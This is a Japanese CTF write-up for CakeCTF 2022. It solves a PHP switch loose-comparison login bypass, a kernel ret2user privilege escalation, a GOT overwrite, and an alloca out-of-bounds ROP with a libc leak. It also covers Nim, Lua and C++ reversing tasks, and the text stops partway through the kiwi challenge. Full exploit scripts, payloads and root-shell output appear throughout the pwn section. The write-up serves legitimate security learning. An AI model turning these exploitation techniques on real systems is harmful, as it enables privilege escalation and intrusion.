CakeCTF 2022 Writeup
2022/9/3 14:00 (JST) ~ 2022/9/4 14:00 (JST)に開催されたCakeCTF 2022のwriteupです。
1406pt獲得し、正の得点を獲得した713チームの内、21位でした。
程よい難易度でどの問題も解いていて楽しかったです。
Web
CakeGEAR
与えられたURLにアクセスするとユーザー名とパスワードを入力するだけのシンプルなログインページが表示されました。
ログイン処理を確認するためにソースコードを読みます。
<?php session_start(); $_SESSION = array(); define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e'); /* Router login API */ $req = @json_decode(file_get_contents("php://input")); if (isset($req->username) && isset($req->password)) { if ($req->username === 'godmode' && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { /* Debug mode is not allowed from outside the router */ $req->username = 'nobody'; } switch ($req->username) { case 'godmode': /* No password is required in god mode */ $_SESSION['login'] = true; $_SESSION['admin'] = true; break; case 'admin': /* Secret password is required in admin mode */ if (sha1($req->password) === ADMIN_PASSWORD) { $_SESSION['login'] = true; $_SESSION['admin'] = true; } break; case 'guest': /* Guest mode (low privilege) */ if ($req->password === 'guest') { $_SESSION['login'] = true; $_SESSION['admin'] = false; } break; } /* Return response */ if (isset($_SESSION['login']) && $_SESSION['login'] === true) { echo json_encode(array('status'=>'success')); exit; } else { echo json_encode(array('status'=>'error')); exit; } } ?> ...
index.phpと一緒に与えられたadmin.phpの中身も確認します。
<?php session_start(); if (empty($_SESSION['login']) || $_SESSION['login'] !== true) { header("Location: /index.php"); exit; } if ($_SESSION['admin'] === true) { $mode = 'admin'; $flag = file_get_contents("/flag.txt"); } else { $mode = 'guest'; $flag = "***** Access Denied *****"; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>control panel - CAKEGEAR</title> <style>table, td { margin: auto; border: 1px solid #000; }</style> </head> <body style="text-align: center;"> <h1>Router Control Panel</h1> <table><tbody> <tr><td><b>Status</b></td><td>UP</td></tr> <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr> <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr> <tr><td><b>Access Mode</b></td><td><?= $mode ?></td></tr> <tr><td><b>FLAG</b></td><td><?= $flag ?></td></tr> </tbody></table> </body> </html>
この2つのソースコードから$_SESSION['admin']
をtrue
にできれば、フラグを手に入れられることがわかります。admin
ユーザーでログインするのは無理そうなので、パスワードなしでadmin権限が得られるgodmode
ユーザーに注目します。
if ($req->username === 'godmode' && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { /* Debug mode is not allowed from outside the router */ $req->username = 'nobody'; } switch ($req->username) { case 'godmode': /* No password is required in god mode */ $_SESSION['login'] = true; $_SESSION['admin'] = true; break;
上に示す部分からlocalhost以外からアクセスされた場合、ユーザー名を勝手に書き換えられてしまうことが読み取れます。ここをなんとかバイパスする方法を考えます。
PHPのドキュメントを見ると、switch~case文は内部で==
、つまり緩い比較を行っていること書かれていました。よって、$req->username
にtrue
を渡すと一つ目のif文を無視でき、switch文でgodmode
のcaseを実行させることができます。
import requests import json url = "http://web1.2022.cakectf.com:8005" data = { "username": True, "password": "pass", } ses = requests.session() res = ses.post(url, data=json.dumps(data)) print(ses.get(url + "/admin.php").text)
$ python3 sol.py | grep Cake <tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
Pwn
welkerme
kernel exploit問です。
pawnyable.cafeという素晴らしいサイトがあるので、Linux exploitのページを参考に次のようなexploitコードを作成しました。セキュリティ機構は無効化されているので、ret2userするだけで権限昇格できました。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 #define commit_creds 0xffffffff81072540 #define prepare_kernel_cred 0xffffffff810726e0 unsigned long user_cs, user_ss, user_rsp, user_rflags; static void win(void) { system("/bin/sh"); } static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); } static void restore_state() { asm volatile("swapgs ;" "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)); } static void exploit(void) { char* (*pkc)(int) = (void*)(prepare_kernel_cred); void (*cc)(char*) = (void*)(commit_creds); (*cc)((*pkc)(0)); restore_state(); } int main(void) { save_state(); int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } ret = ioctl(fd, CMD_ECHO, 12345); printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)exploit); printf("CMD_EXEC(func) --> %d\n", ret); close(fd); return 0; }
作成したexploitコードをコンパイルします。
$ musl-gcc -o exploit exploit.c -static
コンパイルが無事に終了すれば、次のスクリプトでリモート環境に転送します。
from pwn import * import subprocess import base64 def runcmd(cmd): sock.sendlineafter(b"$ ", cmd.encode()) sock.recvline() with open("./exploit", "rb") as f: payload = base64.b64encode(f.read()).decode() sock = remote("pwn2.2022.cakectf.com", 9999) cmd = sock.recvline().decode() out = subprocess.check_output(cmd, shell=True) sock.sendline(out) runcmd("cd /tmp") logging.info("Uploading...") for i in range(0, len(payload), 512): print(f"Uploading... {i:x} / {len(payload):x}") runcmd('echo "{}" >> b64exp'.format(payload[i:i+512])) runcmd("base64 -d b64exp > exploit") runcmd("rm b64exp") runcmd("chmod +x exploit") sock.interactive()
最後に、リモート環境で作成した実行ファイルを実行すると、権限昇格したシェルが得られました。
python3 transfer.py [+] Opening connection to pwn2.2022.cakectf.com on port 9999: Done Uploading... 0 / bab8 Uploading... 200 / bab8 ... Uploading... b800 / bab8 Uploading... ba00 / bab8 [*] Switching to interactive mode INFO:pwnlib.tubes.remote.remote.140558790377632:Switching to interactive mode /tmp $ $ ./exploit ./exploit CMD_ECHO(12345) --> 12345 /tmp # $ id id uid=0(root) gid=0(root) /tmp # $ cd / cd / / # $ ls ls bin etc lib linuxrc root sbin tmp var dev init lib64 proc run sys usr / # $ cd root cd root ~ # $ cat flag.txt cat flag.txt CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
str.vs.cstr
実行ファイルとそのソースコードが与えられます。
c_strを書き換える際に、サイズの指定がないのでBOFでstrのデータを書き換えることができます。std::string
の最初の8byteはデータ本体のポインタになっている(参考)ので、BOFで適当なGOTを書き換えてcallme
を呼び出すとシェルを奪えました。
from pwn import * elf = ELF("./chall") win = elf.symbols["_ZN4Test7call_meEv"] io_good_got = elf.got["_ZNKSt9basic_iosIcSt11char_traitsIcEE4goodEv"] p = remote("pwn1.2022.cakectf.com", 9003) p.sendlineafter(": ", "1") payload = b"A" * 0x20 payload += p64(io_good_got) p.sendlineafter(": ", payload) p.sendlineafter(": ", "3") p.sendlineafter(": ", p64(win)) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/cake2022/str_vs_cstr/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to pwn1.2022.cakectf.com on port 9003: Done [*] Switching to interactive mode $ ls chall flag-ba2a141e66fda88045dc28e72c0daf20.txt $ cat flag* CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
smal arey
実行ファイルchall
とそのソースコード、libc-2.31.so
、ld-2.31
が与えられます。
初めにソースコードを見ていきます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ARRAY_SIZE(n) (n * sizeof(long)) #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) int main() { long size, index, *arr; printf("size: "); if (scanf("%ld", &size) != 1 || size < 0 || size > 5) exit(0); arr = ARRAY_NEW(size); while (1) { printf("index: "); if (scanf("%ld", &index) != 1 || index < 0 || index >= size) exit(0); printf("value: "); scanf("%ld", &arr[index]); } } __attribute__((constructor)) void setup(void) { alarm(180); setbuf(stdin, NULL); setbuf(stdout, NULL); }
allocaでスタック上にメモリを確保して、指定したインデックスに任意の値を書き込めるようです。しかし、確保できる領域は0~5と非常に小さく、加えて範囲外にアクセスすることもできません。
いろいろ試していくうちに、sizeを5にして5番目の要素を書き換えると、sizeの値を書き換えられることがわかりました。arrayのアドレスはarray[6]に存在することも分かったため、「array[6]を書き換える → array[0]を書き換える」とすると、任意のアドレスに任意の値を書き込めるようになります。
これを用いてexitのGOTを書き換えてROPを行い、libcのリーク → one gadget RCEでシェルを奪いました。
from pwn import * libc = ELF("libc-2.31.so") elf = ELF("./chall") got_printf = elf.got["printf"] plt_printf = elf.plt["printf"] got_exit = elf.got["exit"] main_addr = elf.symbols["_start"] call_printf = 0x4011d8 rop_ret = 0x40101a rop_pop_rsi_r15 = 0x4013e1 rop_pop_rdi = 0x4013e3 p = remote("pwn1.2022.cakectf.com", 9002) def write(index, val): p.sendlineafter(b"index: ", str(index).encode()) p.sendlineafter(b"value: ", str(val).encode()) def rop(gadgets): write(1, rop_pop_rsi_r15) write(4, rop_pop_rsi_r15) for i, gadget in enumerate(gadgets): write(7 + i, gadget) # execute rop write(6, got_exit) write(0, rop_pop_rsi_r15) # exit呼び出し時に余分な物がスタックに乗っているので取り除く p.sendlineafter(b"index: ", b"-1") p.sendlineafter(b"size: ", b"5") # rewrite stack size write(4, 100) rop([ rop_pop_rdi, got_printf, call_printf, rop_ret, rop_ret, rop_ret, main_addr, ]) libc_printf = u64(p.recv().ljust(8, b"\x00")) libc.address = libc_printf - libc.symbols["printf"] print(hex(libc_printf)) p.sendline(b'A') p.sendlineafter(b"size: ", b"5") write(4, 100) write(6, got_exit) write(0, libc.address + 0xe3b04) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/cake2022/smal_arey/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/miso/ctf/cake2022/smal_arey/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to pwn1.2022.cakectf.com on port 9002: Done 0x7fbaff57ac90 [*] Switching to interactive mode index: $ -1 $ cat flag* CakeCTF{PRE01-C. Use parentheses within macros around parameter names}
Reversing
nimrev
実行ファイルchall
が与えられます。
実行すると、入力を求められます。適当に入力すると、Wrong...
と表示されました。
$ ./chall hogehoge Wrong...
ghidraで逆コンパイルされた結果を見ていると、NimMainModule
関数内で、暗号化されたフラグらしきものをスタック上に書き込んでいる処理が見つかりました。
void NimMainModule(void) { char cVar1; undefined8 uVar2; undefined8 *puVar3; undefined8 uVar4; long in_FS_OFFSET; code *local_28; undefined8 local_20; undefined8 local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); nimZeroMem(&local_18,8); uVar2 = readLine_systemZio_271(stdin); puVar3 = (undefined8 *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18); *(undefined *)(puVar3 + 2) = 0xbc; *(undefined *)((long)puVar3 + 0x11) = 0x9e; *(undefined *)((long)puVar3 + 0x12) = 0x94; *(undefined *)((long)puVar3 + 0x13) = 0x9a; *(undefined *)((long)puVar3 + 0x14) = 0xbc; *(undefined *)((long)puVar3 + 0x15) = 0xab; *(undefined *)((long)puVar3 + 0x16) = 0xb9; *(undefined *)((long)puVar3 + 0x17) = 0x84; *(undefined *)(puVar3 + 3) = 0x8c; *(undefined *)((long)puVar3 + 0x19) = 0xcf; *(undefined *)((long)puVar3 + 0x1a) = 0x92; *(undefined *)((long)puVar3 + 0x1b) = 0xcc; *(undefined *)((long)puVar3 + 0x1c) = 0x8b; *(undefined *)((long)puVar3 + 0x1d) = 0xce; *(undefined *)((long)puVar3 + 0x1e) = 0x92; *(undefined *)((long)puVar3 + 0x1f) = 0xcc; *(undefined *)(puVar3 + 4) = 0x8c; *(undefined *)((long)puVar3 + 0x21) = 0xa0; *(undefined *)((long)puVar3 + 0x22) = 0x91; *(undefined *)((long)puVar3 + 0x23) = 0xcf; *(undefined *)((long)puVar3 + 0x24) = 0x8b; *(undefined *)((long)puVar3 + 0x25) = 0xa0; *(undefined *)((long)puVar3 + 0x26) = 0xbc; *(undefined *)((long)puVar3 + 0x27) = 0x82; nimZeroMem(&local_28,0x10); local_28 = colonanonymous__main_7; local_20 = 0; if (puVar3 == (undefined8 *)0x0) { uVar4 = 0; } else { uVar4 = *puVar3; } puVar3 = (undefined8 *)map_main_11(puVar3 + 2,uVar4,colonanonymous__main_7,0); if (puVar3 == (undefined8 *)0x0) { uVar4 = 0; } else { uVar4 = *puVar3; } uVar4 = join_main_42(puVar3 + 2,uVar4,0); cVar1 = eqStrings(uVar2,uVar4); if (cVar1 == '\x01') { local_18 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_4); } else { local_18 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_5); } echoBinSafe(&local_18,1); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
この処理の後に、map
らしき関数を呼び出しており、引数として暗号文らしき文字列とcolonanonymous__main_7
という関数を与えています。colonanonymous__main_7
は第一引数に与えられた値のnotを返すだけの関数です。
byte colonanonymous__main_7(byte param_1) { return ~param_1; }
この処理をPythonで書き直して実行すると、フラグが手に入りました。
enc = [0xbc ,0x9e ,0x94 ,0x9a ,0xbc ,0xab ,0xb9 ,0x84 ,0x8c ,0xcf ,0x92 ,0xcc ,0x8b ,0xce ,0x92 ,0xcc ,0x8c ,0xa0 ,0x91 ,0xcf ,0x8b ,0xa0 ,0xbc ,0x82] flag = "".join(map(lambda x: chr(~x & 0xff), enc)) print(flag)
$ python3 solve.py CakeCTF{s0m3t1m3s_n0t_C}
luau
libflag.luaとmain.luaの2つのソースファイルが与えられます。
main.luaを実行すると、フラグの入力を求められます。適当に入力するとWrong...
が表示されました。
$ lua main.lua FLAG: hoge Wrong...
実際の処理を見ていきます。
local libflag = require "libflag" io.write("FLAG: ") flag = io.read("*l") if libflag.checkFlag(flag, "CakeCTF 2022") then print("Correct!") else print("Wrong...") end
libflagを読み込んで、libflag.checkFlag
で入力された文字列がフラグと一致しているか確認しているようです。libflag.luaの中身も見てみます。
$ xxd libflag.lua xxd libflag.lua 00000000: 1b4c 7561 5300 1993 0d0a 1a0a 0408 0408 .LuaS........... 00000010: 0878 5600 0000 0000 0000 0000 0000 2877 .xV...........(w 00000020: 4001 0000 0000 0000 0000 0000 0202 0500 @............... 00000030: 0000 2c00 0000 4b40 0000 4a00 0080 6600 ..,...K@..J...f. 00000040: 0001 2600 8000 0100 0000 040a 6368 6563 ..&.........chec 00000050: 6b46 6c61 6701 0000 0001 0001 0000 0000 kFlag........... 00000060: 0100 0000 2000 0000 0200 296e 0000 008b .... .....)n.... 00000070: 0000 0dc1 0000 0001 4100 0041 8100 0081 ........A..A.... 00000080: c100 00c1 0101 0001 4201 0041 8201 0081 ........B..A.... 00000090: c201 00c1 0202 0001 4302 0041 8302 0081 ........C..A.... 000000a0: c301 00c1 c302 0001 0403 0041 4403 0081 ...........AD... ... 00000330: 1357 0000 0000 0000 0013 5900 0000 0000 .W........Y..... 00000340: 0000 1322 0000 0000 0000 0013 0100 0000 ..."............ 00000350: 0000 0000 0407 7374 7269 6e67 0405 6279 ......string..by 00000360: 7465 0404 7375 6201 0000 0000 0000 0000 te..sub......... 00000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000380: 0000 0000 0000 0000 00
libflag.luaの中身はバイナリ形式になっており、checkFlagで何が行われているか確認することができません。
luaのデコンパイルについて調べていたら、luadecなるものが見つかりました。これを使ってlibflag.luaを逆アセンブルすると、次に示す結果が得られました。
; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec ; Command line: -dis libflag.lua ; Function: 0 ; Defined at line: 0 ; #Upvalues: 1 ; #Parameters: 0 ; Is_vararg: 2 ; Max Stack Size: 2 0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0) 1 [-]: NEWTABLE R1 0 1 ; R1 := {} (size = 0,1) 2 [-]: SETTABLE R1 K0 R0 ; R1["checkFlag"] := R0 3 [-]: RETURN R1 2 ; return R1 4 [-]: RETURN R0 1 ; return ; Function: 0_0 ; Defined at line: 1 ; #Upvalues: 1 ; #Parameters: 2 ; Is_vararg: 0 ; Max Stack Size: 41 0 [-]: NEWTABLE R2 26 0 ; R2 := {} (size = 26,0) 1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 4 [-]: LOADK R6 K3 ; R6 := 84 5 [-]: LOADK R7 K4 ; R7 := 47 6 [-]: LOADK R8 K5 ; R8 := 56 7 [-]: LOADK R9 K6 ; R9 := 118 8 [-]: LOADK R10 K7 ; R10 := 71 9 [-]: LOADK R11 K8 ; R11 := 109 10 [-]: LOADK R12 K9 ; R12 := 0 11 [-]: LOADK R13 K10 ; R13 := 90 12 [-]: LOADK R14 K7 ; R14 := 71 13 [-]: LOADK R15 K11 ; R15 := 115 14 [-]: LOADK R16 K12 ; R16 := 9 15 [-]: LOADK R17 K13 ; R17 := 30 16 [-]: LOADK R18 K14 ; R18 := 58 17 [-]: LOADK R19 K15 ; R19 := 32 18 [-]: LOADK R20 K16 ; R20 := 101 19 [-]: LOADK R21 K17 ; R21 := 40 20 [-]: LOADK R22 K18 ; R22 := 20 21 [-]: LOADK R23 K19 ; R23 := 66 22 [-]: LOADK R24 K20 ; R24 := 111 23 [-]: LOADK R25 K21 ; R25 := 3 24 [-]: LOADK R26 K22 ; R26 := 92 25 [-]: LOADK R27 K23 ; R27 := 119 26 [-]: LOADK R28 K24 ; R28 := 22 27 [-]: LOADK R29 K10 ; R29 := 90 28 [-]: LOADK R30 K25 ; R30 := 11 29 [-]: LOADK R31 K23 ; R31 := 119 30 [-]: LOADK R32 K26 ; R32 := 35 31 [-]: LOADK R33 K27 ; R33 := 61 32 [-]: LOADK R34 K28 ; R34 := 102 33 [-]: LOADK R35 K28 ; R35 := 102 34 [-]: LOADK R36 K11 ; R36 := 115 35 [-]: LOADK R37 K29 ; R37 := 87 36 [-]: LOADK R38 K30 ; R38 := 89 37 [-]: LOADK R39 K31 ; R39 := 34 38 [-]: LOADK R40 K31 ; R40 := 34 39 [-]: SETLIST R2 38 1 ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50 40 [-]: LEN R3 R0 ; R3 := #R0 41 [-]: LEN R4 R2 ; R4 := #R2 42 [-]: EQ 1 R3 R4 ; if R3 ~= R4 then goto 44 else goto 46 43 [-]: JMP R0 2 ; PC += 2 (goto 46) 44 [-]: LOADBOOL R3 0 0 ; R3 := false 45 [-]: RETURN R3 2 ; return R3 46 [-]: NEWTABLE R3 0 0 ; R3 := {} (size = 0,0) 47 [-]: NEWTABLE R4 0 0 ; R4 := {} (size = 0,0) 48 [-]: LOADK R5 K32 ; R5 := 1 49 [-]: LEN R6 R0 ; R6 := #R0 50 [-]: LOADK R7 K32 ; R7 := 1 51 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 60) 52 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 53 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 54 [-]: SELF R10 R0 K35 ; R11 := R0; R10 := R0["sub"] 55 [-]: MOVE R12 R8 ; R12 := R8 56 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 57 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 58 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 59 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 60 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end 61 [-]: LOADK R5 K32 ; R5 := 1 62 [-]: LEN R6 R1 ; R6 := #R1 63 [-]: LOADK R7 K32 ; R7 := 1 64 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 73) 65 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 66 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 67 [-]: SELF R10 R1 K35 ; R11 := R1; R10 := R1["sub"] 68 [-]: MOVE R12 R8 ; R12 := R8 69 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 70 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 71 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 72 [-]: SETTABLE R4 R8 R9 ; R4[R8] := R9 73 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end 74 [-]: LOADK R5 K32 ; R5 := 1 75 [-]: LEN R6 R3 ; R6 := #R3 76 [-]: LOADK R7 K32 ; R7 := 1 77 [-]: FORPREP R5 9 ; R5 -= R7; pc += 9 (goto 87) 78 [-]: ADD R9 R8 K32 ; R9 := R8 + 1 79 [-]: LEN R10 R3 ; R10 := #R3 80 [-]: LOADK R11 K32 ; R11 := 1 81 [-]: FORPREP R9 4 ; R9 -= R11; pc += 4 (goto 86) 82 [-]: GETTABLE R13 R3 R8 ; R13 := R3[R8] 83 [-]: GETTABLE R14 R3 R12 ; R14 := R3[R12] 84 [-]: SETTABLE R3 R8 R14 ; R3[R8] := R14 85 [-]: SETTABLE R3 R12 R13 ; R3[R12] := R13 86 [-]: FORLOOP R9 -5 ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end 87 [-]: FORLOOP R5 -10 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end 88 [-]: LOADK R5 K32 ; R5 := 1 89 [-]: LEN R6 R3 ; R6 := #R3 90 [-]: LOADK R7 K32 ; R7 := 1 91 [-]: FORPREP R5 14 ; R5 -= R7; pc += 14 (goto 106) 92 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 93 [-]: SUB R10 R8 K32 ; R10 := R8 - 1 94 [-]: LEN R11 R4 ; R11 := #R4 95 [-]: MOD R10 R10 R11 ; R10 := R10 % R11 96 [-]: ADD R10 K32 R10 ; R10 := 1 + R10 97 [-]: GETTABLE R10 R4 R10 ; R10 := R4[R10] 98 [-]: BXOR R9 R9 R10 ; R9 := R9 ~ R10 99 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 100 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 101 [-]: GETTABLE R10 R2 R8 ; R10 := R2[R8] 102 [-]: EQ 1 R9 R10 ; if R9 ~= R10 then goto 104 else goto 106 103 [-]: JMP R0 2 ; PC += 2 (goto 106) 104 [-]: LOADBOOL R9 0 0 ; R9 := false 105 [-]: RETURN R9 2 ; return R9 106 [-]: FORLOOP R5 -15 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end 107 [-]: LOADBOOL R5 1 0 ; R5 := true 108 [-]: RETURN R5 2 ; return R5 109 [-]: RETURN R0 1 ; return
これを気合で読んで、Pythonで書き直すと次のようになります。
def checkflag(inp, key): enc = [62 ,85 ,25 ,84 ,47 ,56 ,118 ,71 ,109 ,0 ,90 ,71 ,115 ,9 ,30 ,58 ,32 ,101 ,40 ,20 ,66 ,111 ,3 ,92 ,119 ,22 ,90 ,11 ,119 ,35 ,61 ,102 ,102 ,115 ,87 ,89 ,34 ,34] if len(inp) != len(enc): return False inp = list(reversed(inp)) for i in range(len(inp)): x = enc[i] ^ key[i % len(key)] if x != inp[i]: return False return True
keyと入力でxorをとって、暗号化されたものと比較しているだけです。よって、暗号化されたものとkeyでxorを取ることで元の平文が求まります。
enc = [62 ,85 ,25 ,84 ,47 ,56 ,118 ,71 ,109 ,0 ,90 ,71 ,115 ,9 ,30 ,58 ,32 ,101 ,40 ,20 ,66 ,111 ,3 ,92 ,119 ,22 ,90 ,11 ,119 ,35 ,61 ,102 ,102 ,115 ,87 ,89 ,34 ,34] key = b"CakeCTF 2022" flag = "" for i, e in enumerate(enc): k = key[i % len(key)] flag += chr(k ^ e) print(flag[::-1])
$ python3 solve.py CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
kiwi
実行ファイルchall
が与えられます。
実行すると、keyの入力を求められます。適当に入力すると、Invalid key
やFailed to read key
などが表示されました。
$ ./chall Enter key: 0011 [-] Invalid key. $ ./chall Enter key: 1111111 [-] Failed to read key.
ghidraでデコンパイルして、main
関数の処理を見ていきます。
undefined8 main(void) { byte bVar1; char cVar2; bool bVar3; int iVar4; _Setfill _Var5; _Setw _Var6; basic_ostream *pbVar7; byte *pbVar8; basic_ostream<char,std::char_traits<char>> *this; undefined8 uVar9; long in_FS_OFFSET; undefined8 local_e0; undefined8 local_d8; vector<unsigned_char,std::allocator<unsigned_char>> *local_d0; MemoryPool local_c8 [16]; basic_string local_b8 [32]; ByteBuffer local_98 [48]; basic_string local_68 [32]; EncryptionKey local_48 [40]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(); /* try { // try from 001065b6 to 001065ba has its CatchHandler @ 001068f5 */ kiwi::ByteBuffer::ByteBuffer(local_98); kiwi::MemoryPool::MemoryPool(local_c8); cakectf::EncryptionKey::EncryptionKey(local_48); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); /* try { // try from 00106619 to 00106766 has its CatchHandler @ 001068ce */ iVar4 = readFlag(local_68); if (iVar4 == 0) { iVar4 = readKey(local_98); if (iVar4 == 0) { cVar2 = cakectf::EncryptionKey::decode(local_48,local_98,local_c8,(BinarySchema *)0x0); if (cVar2 == '\x01') { iVar4 = checkMessage(local_48); if (iVar4 == 0) { cakectf::EncryptionKey::key(local_48); encryptFlag(local_b8,(Array *)local_68); /* try { // try from 00106775 to 00106864 has its CatchHandler @ 001068b6 */ std::operator<<((basic_ostream *)std::cout,"Encrypted flag: "); local_d0 = (vector<unsigned_char,std::allocator<unsigned_char>> *)local_b8; local_e0 = std::vector<unsigned_char,std::allocator<unsigned_char>>::begin(local_d0); local_d8 = std::vector<unsigned_char,std::allocator<unsigned_char>>::end(local_d0); while( true ) { bVar3 = __gnu_cxx::operator!= ((__normal_iterator *)&local_e0,(__normal_iterator *)&local_d8); if (bVar3 == false) break; pbVar8 = (byte *)__gnu_cxx:: __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> ::operator*((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> *)&local_e0); bVar1 = *pbVar8; _Var5 = std::setfill<char>('0'); pbVar7 = std::operator<<((basic_ostream *)std::cout,_Var5); _Var6 = std::setw(2); pbVar7 = std::operator<<(pbVar7,_Var6); this = (basic_ostream<char,std::char_traits<char>> *) std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar7,std::hex); std::basic_ostream<char,std::char_traits<char>>::operator<<(this,(uint)bVar1); __gnu_cxx:: __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> ::operator++((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> *)&local_e0); } std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)std::cout, std::endl<char,std::char_traits<char>>); uVar9 = 0; std::vector<unsigned_char,std::allocator<unsigned_char>>::~vector ((vector<unsigned_char,std::allocator<unsigned_char>> *)local_b8); } else { pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Invalid key."); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar7, std::endl<char,std::char_traits<char>>); uVar9 = 1; } } else { pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to decode key."); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar7, std::endl<char,std::char_traits<char>>); uVar9 = 1; } } else { pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to read key."); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar7, std::endl<char,std::char_traits<char>>); uVar9 = 1; } } else { pbVar7 = std::operator<<((basic_ostream *)std::cerr,"[-] Failed to open flag."); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar7, std::endl<char,std::char_traits<char>>); uVar9 = 1; } kiwi::MemoryPool::~MemoryPool(local_c8); kiwi::ByteBuffer::~ByteBuffer(local_98); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_68); if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar9; }
少し長いですが、処理の流れをまとめると次のようになっています。
- ファイルからフラグを読み込む
- EncryptionKeyを入力してもらう
- EncryptionKeyをデコードする
- デコード結果をチェックする
- フラグを
EncryptionKey->key
で暗号化して16進数で表示する
最初に、プログラムを読み進めていくうえで重要な構造体であるEncryptionKey
の説明を行います。EncryptionKey
は次のような構造体です。
